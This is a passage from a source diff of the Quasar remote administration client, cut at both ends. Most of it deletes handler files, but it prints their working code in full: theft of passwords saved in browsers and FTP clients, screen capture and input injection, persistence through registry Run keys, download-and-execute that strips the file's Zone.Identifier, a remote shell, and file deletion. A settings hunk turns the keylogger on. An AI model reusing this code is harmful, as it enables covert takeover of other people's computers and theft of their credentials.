isError = false; - string message = null; - - Action onError = (msg) => - { - isError = true; - message = msg; - }; - - try - { - switch (command.PathType) - { - case FileType.Directory: - Directory.Delete(command.Path, true); - client.Send(new SetStatusFileManager - { - Message = "Deleted directory", - SetLastDirectorySeen = false - }); - break; - case FileType.File: - File.Delete(command.Path); - client.Send(new SetStatusFileManager - { - Message = "Deleted file", - SetLastDirectorySeen = false - }); - break; - } - - HandleGetDirectory(new GetDirectory { RemotePath = Path.GetDirectoryName(command.Path) }, client); - } - catch (UnauthorizedAccessException) - { - onError("DeletePath No permission"); - } - catch (PathTooLongException) - { - onError("DeletePath Path too long"); - } - catch (DirectoryNotFoundException) - { - onError("DeletePath Path not found"); - } - catch (IOException) - { - onError("DeletePath I/O error"); - } - catch (Exception) - { - onError("DeletePath Failed"); - } - finally - { - if (isError && !string.IsNullOrEmpty(message)) - client.Send(new SetStatusFileManager {Message = message, SetLastDirectorySeen = false}); - } - } - - public static void HandleDoPathRename(DoPathRename command, Networking.Client client) - { - bool isError = false; - string message = null; - - Action onError = (msg) => - { - isError = true; - message = msg; - }; - - try - { - switch (command.PathType) - { - case FileType.Directory: - Directory.Move(command.Path, command.NewPath); - client.Send(new SetStatusFileManager - { - Message = "Renamed directory", - SetLastDirectorySeen = false - }); - break; - case FileType.File: - File.Move(command.Path, command.NewPath); - client.Send(new SetStatusFileManager - { - Message = "Renamed file", - SetLastDirectorySeen = false - }); - break; - } - - HandleGetDirectory(new GetDirectory {RemotePath = Path.GetDirectoryName(command.NewPath)}, client); - } - catch (UnauthorizedAccessException) - { - onError("RenamePath No permission"); - } - catch (PathTooLongException) - { - onError("RenamePath Path too long"); - } - catch (DirectoryNotFoundException) - { - onError("RenamePath Path not found"); - } - catch (IOException) - { - onError("RenamePath I/O error"); - } - catch (Exception) - { - onError("RenamePath Failed"); - } - finally - { - if (isError && !string.IsNullOrEmpty(message)) - client.Send(new SetStatusFileManager { Message = message, SetLastDirectorySeen = false }); - } - } - - private static void RemoveFileTransfer(int id) - { - if (ActiveTransfers.ContainsKey(id)) - { - ActiveTransfers[id].Dispose(); - ActiveTransfers.TryRemove(id, out _); - } - } - } -} diff --git a/Quasar.Client/Commands/RegistryHandler.cs b/Quasar.Client/Commands/RegistryHandler.cs deleted file mode 100644 index f0dca28fb..000000000 --- a/Quasar.Client/Commands/RegistryHandler.cs +++ /dev/null @@ -1,192 +0,0 @@ -using System; -using Quasar.Client.Extensions; -using Quasar.Client.Helper; -using Quasar.Client.Registry; -using Quasar.Common.Messages; -using Quasar.Common.Models; - -namespace Quasar.Client.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ - public static partial class CommandHandler - { - public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Networking.Client client) - { - GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); - try - { - RegistrySeeker seeker = new RegistrySeeker(); - seeker.BeginSeeking(packet.RootKeyName); - - responsePacket.Matches = seeker.Matches; - responsePacket.IsError = false; - } - catch (Exception e) - { - responsePacket.IsError = true; - responsePacket.ErrorMsg = e.Message; - } - responsePacket.RootKey = packet.RootKeyName; - client.Send(responsePacket); - } - - #region Registry Key Edit - - public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Networking.Client client) - { - GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); - string errorMsg; - string newKeyName = ""; - - try - { - responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - - responsePacket.ErrorMsg = errorMsg; - responsePacket.Match = new RegSeekerMatch - { - Key = newKeyName, - Data = RegistryKeyHelper.GetDefaultValues(), - HasSubKeys = false - }; - responsePacket.ParentPath = packet.ParentPath; - - client.Send(responsePacket); - } - - public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Networking.Client client) - { - GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); - string errorMsg; - try - { - responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ParentPath = packet.ParentPath; - responsePacket.KeyName = packet.KeyName; - - client.Send(responsePacket); - } - - public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Networking.Client client) - { - GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); - string errorMsg; - try - { - responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ParentPath = packet.ParentPath; - responsePacket.OldKeyName = packet.OldKeyName; - responsePacket.NewKeyName = packet.NewKeyName; - - client.Send(responsePacket); - } - - #endregion - - #region RegistryValue Edit - - public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Networking.Client client) - { - GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); - string errorMsg; - string newKeyName = ""; - try - { - responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); - responsePacket.KeyPath = packet.KeyPath; - - client.Send(responsePacket); - } - - public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Networking.Client client) - { - GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); - string errorMsg; - try - { - responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ValueName = packet.ValueName; - responsePacket.KeyPath = packet.KeyPath; - - client.Send(responsePacket); - } - - public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Networking.Client client) - { - GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); - string errorMsg; - try - { - responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(packet.OldValueName, packet.NewValueName, packet.KeyPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.KeyPath = packet.KeyPath; - responsePacket.OldValueName = packet.OldValueName; - responsePacket.NewValueName = packet.NewValueName; - - client.Send(responsePacket); - } - - public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Networking.Client client) - { - GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); - string errorMsg; - try - { - responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.KeyPath = packet.KeyPath; - responsePacket.Value = packet.Value; - - client.Send(responsePacket); - } - - #endregion - } -} diff --git a/Quasar.Client/Commands/SurveillanceHandler.cs b/Quasar.Client/Commands/SurveillanceHandler.cs deleted file mode 100644 index 2bd61d334..000000000 --- a/Quasar.Client/Commands/SurveillanceHandler.cs +++ /dev/null @@ -1,179 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Threading; -using System.Windows.Forms; -using Quasar.Client.Helper; -using Quasar.Client.Recovery.Browsers; -using Quasar.Client.Recovery.FtpClients; -using Quasar.Client.Utilities; -using Quasar.Common.Enums; -using Quasar.Common.IO; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using Quasar.Common.Video; -using Quasar.Common.Video.Codecs; - -namespace Quasar.Client.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleGetPasswords(GetPasswords packet, Networking.Client client) - { - List recovered = new List(); - - recovered.AddRange(Chrome.GetSavedPasswords()); - recovered.AddRange(Opera.GetSavedPasswords()); - recovered.AddRange(Yandex.GetSavedPasswords()); - recovered.AddRange(InternetExplorer.GetSavedPasswords()); - recovered.AddRange(Firefox.GetSavedPasswords()); - recovered.AddRange(FileZilla.GetSavedPasswords()); - recovered.AddRange(WinSCP.GetSavedPasswords()); - - client.Send(new GetPasswordsResponse {RecoveredAccounts = recovered}); - } - - public static void HandleGetDesktop(GetDesktop command, Networking.Client client) - { - // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis - var monitorBounds = ScreenHelper.GetBounds((command.DisplayIndex)); - var resolution = new Resolution {Height = monitorBounds.Height, Width = monitorBounds.Width}; - - if (StreamCodec == null) - StreamCodec = new UnsafeStreamCodec(command.Quality, command.DisplayIndex, resolution); - - if (command.CreateNew || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.DisplayIndex - || StreamCodec.Resolution != resolution) - { - if (StreamCodec != null) - StreamCodec.Dispose(); - - StreamCodec = new UnsafeStreamCodec(command.Quality, command.DisplayIndex, resolution); - } - - BitmapData desktopData = null; - Bitmap desktop = null; - try - { - desktop = ScreenHelper.CaptureScreen(command.DisplayIndex); - desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), - ImageLockMode.ReadWrite, desktop.PixelFormat); - - using (MemoryStream stream = new MemoryStream()) - { - if (StreamCodec == null) throw new Exception("StreamCodec can not be null."); - StreamCodec.CodeImage(desktopData.Scan0, - new Rectangle(0, 0, desktop.Width, desktop.Height), - new Size(desktop.Width, desktop.Height), - desktop.PixelFormat, stream); - client.Send(new GetDesktopResponse - { - Image = stream.ToArray(), - Quality = StreamCodec.ImageQuality, - Monitor = StreamCodec.Monitor, - Resolution = StreamCodec.Resolution - }); - } - } - catch (Exception) - { - if (StreamCodec != null) - { - client.Send(new GetDesktopResponse - { - Image = null, - Quality = StreamCodec.ImageQuality, - Monitor = StreamCodec.Monitor, - Resolution = StreamCodec.Resolution - }); - } - - StreamCodec = null; - } - finally - { - if (desktop != null) - { - if (desktopData != null) - { - try - { - desktop.UnlockBits(desktopData); - } - catch - { - } - } - desktop.Dispose(); - } - } - } - - public static void HandleDoMouseEvent(DoMouseEvent command, Networking.Client client) - { - try - { - Screen[] allScreens = Screen.AllScreens; - int offsetX = allScreens[command.MonitorIndex].Bounds.X; - int offsetY = allScreens[command.MonitorIndex].Bounds.Y; - Point p = new Point(command.X + offsetX, command.Y + offsetY); - - // Disable screensaver if active before input - switch (command.Action) - { - case MouseAction.LeftDown: - case MouseAction.LeftUp: - case MouseAction.RightDown: - case MouseAction.RightUp: - case MouseAction.MoveCursor: - if (NativeMethodsHelper.IsScreensaverActive()) - NativeMethodsHelper.DisableScreensaver(); - break; - } - - switch (command.Action) - { - case MouseAction.LeftDown: - case MouseAction.LeftUp: - NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown); - break; - case MouseAction.RightDown: - case MouseAction.RightUp: - NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown); - break; - case MouseAction.MoveCursor: - NativeMethodsHelper.DoMouseMove(p); - break; - case MouseAction.ScrollDown: - NativeMethodsHelper.DoMouseScroll(p, true); - break; - case MouseAction.ScrollUp: - NativeMethodsHelper.DoMouseScroll(p, false); - break; - } - } - catch - { - } - } - - public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Networking.Client client) - { - if (NativeMethodsHelper.IsScreensaverActive()) - NativeMethodsHelper.DisableScreensaver(); - - NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown); - } - - public static void HandleGetMonitors(GetMonitors command, Networking.Client client) - { - if (Screen.AllScreens.Length > 0) - { - client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length}); - } - } - } -} \ No newline at end of file diff --git a/Quasar.Client/Commands/SystemHandler.cs b/Quasar.Client/Commands/SystemHandler.cs deleted file mode 100644 index 0ea4513b2..000000000 --- a/Quasar.Client/Commands/SystemHandler.cs +++ /dev/null @@ -1,521 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Net; -using System.Net.NetworkInformation; -using System.Threading; -using System.Windows.Forms; -using Microsoft.Win32; -using Quasar.Client.Config; -using Quasar.Client.Data; -using Quasar.Client.Extensions; -using Quasar.Client.IpGeoLocation; -using Quasar.Client.Helper; -using Quasar.Client.Setup; -using Quasar.Client.Utilities; -using Quasar.Common.Enums; -using Quasar.Common.Extensions; -using Quasar.Common.Helpers; -using Quasar.Common.Messages; -using Models = Quasar.Common.Models; -using Process = System.Diagnostics.Process; - -namespace Quasar.Client.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ - public static partial class CommandHandler - { - public static void HandleGetDrives(GetDrives command, Networking.Client client) - { - DriveInfo[] driveInfos; - try - { - driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); - } - catch (IOException) - { - client.Send(new SetStatusFileManager {Message = "GetDrives I/O error", SetLastDirectorySeen = false}); - return; - } - catch (UnauthorizedAccessException) - { - client.Send(new SetStatusFileManager {Message = "GetDrives No permission", SetLastDirectorySeen = false}); - return; - } - - if (driveInfos.Length == 0) - { - client.Send(new SetStatusFileManager {Message = "GetDrives No drives", SetLastDirectorySeen = false}); - return; - } - - Models.Drive[] drives = new Models.Drive[driveInfos.Length]; - for (int i = 0; i < drives.Length; i++) - { - try - { - var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) - ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, - driveInfos[i].VolumeLabel, - driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat) - : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, - driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat); - - drives[i] = new Models.Drive - { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; - } - catch (Exception) - { - - } - } - - client.Send(new GetDrivesResponse {Drives = drives}); - } - - public static void HandleDoShutdownAction(DoShutdownAction command, Networking.Client client) - { - try - { - ProcessStartInfo startInfo = new ProcessStartInfo(); - switch (command.Action) - { - case ShutdownAction.Shutdown: - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.UseShellExecute = true; - startInfo.Arguments = "/s /t 0"; // shutdown - startInfo.FileName = "shutdown"; - Process.Start(startInfo); - break; - case ShutdownAction.Restart: - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.UseShellExecute = true; - startInfo.Arguments = "/r /t 0"; // restart - startInfo.FileName = "shutdown"; - Process.Start(startInfo); - break; - case ShutdownAction.Standby: - Application.SetSuspendState(PowerState.Suspend, true, true); // standby - break; - } - } - catch (Exception ex) - { - client.Send(new SetStatus {Message = $"Action failed: {ex.Message}"}); - } - } - - public static void HandleGetStartupItems(GetStartupItems command, Networking.Client client) - { - try - { - List startupItems = new List(); - - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Models.StartupItem - {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun}); - } - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Models.StartupItem - {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce}); - } - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Models.StartupItem - {Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun}); - } - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Models.StartupItem - {Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce}); - } - } - } - if (PlatformHelper.Is64Bit) - { - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Models.StartupItem - {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64Run}); - } - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Models.StartupItem - { - Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64RunOnce - }); - } - } - } - } - if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) - { - var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); - - startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Models.StartupItem - {Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu})); - } - - client.Send(new GetStartupItemsResponse {StartupItems = startupItems}); - } - catch (Exception ex) - { - client.Send(new SetStatus {Message = $"Getting Autostart Items failed: {ex.Message}"}); - } - } - - public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Networking.Client client) - { - try - { - switch (command.StartupItem.Type) - { - case StartupType.LocalMachineRun: - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name, command.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case StartupType.LocalMachineRunOnce: - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name, command.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case StartupType.CurrentUserRun: - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name, command.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case StartupType.CurrentUserRunOnce: - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name, command.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case StartupType.LocalMachineWoW64Run: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name, command.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case StartupType.LocalMachineWoW64RunOnce: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name, command.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case StartupType.StartMenu: - if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) - { - Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); - } - - string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), - command.StartupItem.Name + ".url"); - - using (var writer = new StreamWriter(lnkPath, false)) - { - writer.WriteLine("[InternetShortcut]"); - writer.WriteLine("URL=file:///" + command.StartupItem.Path); - writer.WriteLine("IconIndex=0"); - writer.WriteLine("IconFile=" + command.StartupItem.Path.Replace('\\', '/')); - writer.Flush(); - } - break; - } - } - catch (Exception ex) - { - client.Send(new SetStatus {Message = $"Adding Autostart Item failed: {ex.Message}"}); - } - } - - public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Networking.Client client) - { - try - { - switch (command.StartupItem.Type) - { - case StartupType.LocalMachineRun: - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case StartupType.LocalMachineRunOnce: - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case StartupType.CurrentUserRun: - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case StartupType.CurrentUserRunOnce: - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case StartupType.LocalMachineWoW64Run: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case StartupType.LocalMachineWoW64RunOnce: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case StartupType.StartMenu: - string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.StartupItem.Name); - - if (!File.Exists(startupItemPath)) - throw new IOException("File does not exist"); - - File.Delete(startupItemPath); - break; - } - } - catch (Exception ex) - { - client.Send(new SetStatus {Message = $"Removing Autostart Item failed: {ex.Message}"}); - } - } - - public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client client) - { - try - { - IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); - - var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; - var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; - - var geoInfo = GeoInformationFactory.GetGeoInformation(); - - List> lstInfos = new List> - { - new Tuple("Processor (CPU)", DevicesHelper.GetCpuName()), - new Tuple("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"), - new Tuple("Video Card (GPU)", DevicesHelper.GetGpuName()), - new Tuple("Username", WindowsAccountHelper.GetName()), - new Tuple("PC Name", SystemHelper.GetPcName()), - new Tuple("Domain Name", domainName), - new Tuple("Host Name", hostName), - new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), - new Tuple("System Directory", Environment.SystemDirectory), - new Tuple("Uptime", SystemHelper.GetUptime()), - new Tuple("MAC Address", DevicesHelper.GetMacAddress()), - new Tuple("LAN IP Address", DevicesHelper.GetLanIp()), - new Tuple("WAN IP Address", geoInfo.IpAddress), - new Tuple("ASN", geoInfo.Asn), - new Tuple("ISP", geoInfo.Isp), - new Tuple("Antivirus", SystemHelper.GetAntivirus()), - new Tuple("Firewall", SystemHelper.GetFirewall()), - new Tuple("Time Zone", geoInfo.Timezone), - new Tuple("Country", geoInfo.Country) - }; - - client.Send(new GetSystemInfoResponse {SystemInfos = lstInfos}); - } - catch - { - } - } - - public static void HandleGetProcesses(GetProcesses command, Networking.Client client) - { - Process[] pList = Process.GetProcesses(); - var processes = new Models.Process[pList.Length]; - - for (int i = 0; i < pList.Length; i++) - { - var process = new Models.Process - { - Name = pList[i].ProcessName + ".exe", - Id = pList[i].Id, - MainWindowTitle = pList[i].MainWindowTitle - }; - processes[i] = process; - } - - client.Send(new GetProcessesResponse {Processes = processes}); - } - - public static void HandleDoRemoteExecution(DoRemoteExecution command, Networking.Client client) - { - new Thread(() => - { - string filePath = command.FilePath; - - if (string.IsNullOrEmpty(command.FilePath)) - { - if (string.IsNullOrEmpty(command.DownloadUrl)) - { - client.Send(new DoRemoteExecutionResponse {Success = false}); - return; - } - - filePath = FileHelper.GetTempFilePath(".exe"); - - // download first - try - { - using (WebClient c = new WebClient()) - { - c.Proxy = null; - c.DownloadFile(command.DownloadUrl, filePath); - } - - FileHelper.DeleteZoneIdentifier(filePath); - } - catch - { - client.Send(new DoRemoteExecutionResponse {Success = false}); - NativeMethods.DeleteFile(filePath); - return; - } - } - - try - { - if (command.IsUpdate) - { - if (ClientUpdater.Update(client, filePath)) - { - Program.ConnectClient.Exit(); - } - else - { - throw new Exception("Update failed"); - } - } - else - { - var bytes = File.ReadAllBytes(filePath); - if (!FileHelper.HasExecutableIdentifier(bytes)) - throw new Exception("no pe file"); - - ProcessStartInfo startInfo = new ProcessStartInfo - { - UseShellExecute = true, - FileName = filePath - }; - Process.Start(startInfo); - } - client.Send(new DoRemoteExecutionResponse {Success = true}); - } - catch - { - client.Send(new DoRemoteExecutionResponse {Success = false}); - } - finally - { - HandleGetProcesses(new GetProcesses(), client); - } - }).Start(); - } - - public static void HandleDoProcessKill(DoProcessKill command, Networking.Client client) - { - try - { - Process.GetProcessById(command.Pid).Kill(); - } - catch - { - } - finally - { - HandleGetProcesses(new GetProcesses(), client); - } - } - - public static void HandleDoShellExecute(DoShellExecute command, Networking.Client client) - { - string input = command.Command; - - if (_shell == null && input == "exit") return; - if (_shell == null) _shell = new Shell(); - - if (input == "exit") - CloseShell(); - else - _shell.ExecuteCommand(input); - } - - public static void CloseShell() - { - if (_shell != null) - _shell.Dispose(); - } - } -} diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index aa8194059..5a2a2d021 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -1,6 +1,7 @@ using Quasar.Common.Cryptography; using Quasar.Common.Helpers; using System; +using System.IO; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; @@ -23,7 +24,7 @@ public static class Settings public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; public static string STARTUPKEY = "Test key"; public static bool HIDEFILE = false; - public static bool ENABLELOGGER = false; + public static bool ENABLELOGGER = true; public static string ENCRYPTIONKEY = "-.)4>[=u%5G3hY3&"; public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; @@ -32,6 +33,8 @@ public static class Settings public static X509Certificate2 SERVERCERTIFICATE; public static bool HIDELOGDIRECTORY = false; public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; public static bool Initialize() { @@ -82,6 +85,10 @@ public static bool Initialize() static void FixDirectory() { + // set up paths + LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); + INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); + if (PlatformHelper.Is64Bit) return; // https://msdn.microsoft.com/en-us/library/system.environment.specialfolder(v=vs.110).aspx diff --git a/Quasar.Client/Data/ClientData.cs b/Quasar.Client/Data/ClientData.cs deleted file mode 100644 index cb05763cf..000000000 --- a/Quasar.Client/Data/ClientData.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.Windows.Forms; - -namespace Quasar.Client.Data -{ - public static class ClientData - { - public static string CurrentPath { get; set; } - public static string InstallPath { get; set; } - public static bool AddToStartupFailed { get; set; } - - static ClientData() - { - CurrentPath = Application.ExecutablePath; - } - } -} diff --git a/Quasar.Client/Helper/MutexHelper.cs b/Quasar.Client/Helper/MutexHelper.cs deleted file mode 100644 index 2d0fca157..000000000 --- a/Quasar.Client/Helper/MutexHelper.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System.Threading; - -namespace Quasar.Client.Helper -{ - public static class MutexHelper - { - private static Mutex _appMutex; - - public static bool CreateMutex(string name) - { - bool createdNew; - _appMutex = new Mutex(false, name, out createdNew); - return createdNew; - } - - public static void CloseMutex() - { - if (_appMutex != null) - { - _appMutex.Close(); - _appMutex = null; - } - } - } -} diff --git a/Quasar.Client/Helper/WindowsAccountHelper.cs b/Quasar.Client/Helper/WindowsAccountHelper.cs index b0f5d6253..ec3b0ef9b 100644 --- a/Quasar.Client/Helper/WindowsAccountHelper.cs +++ 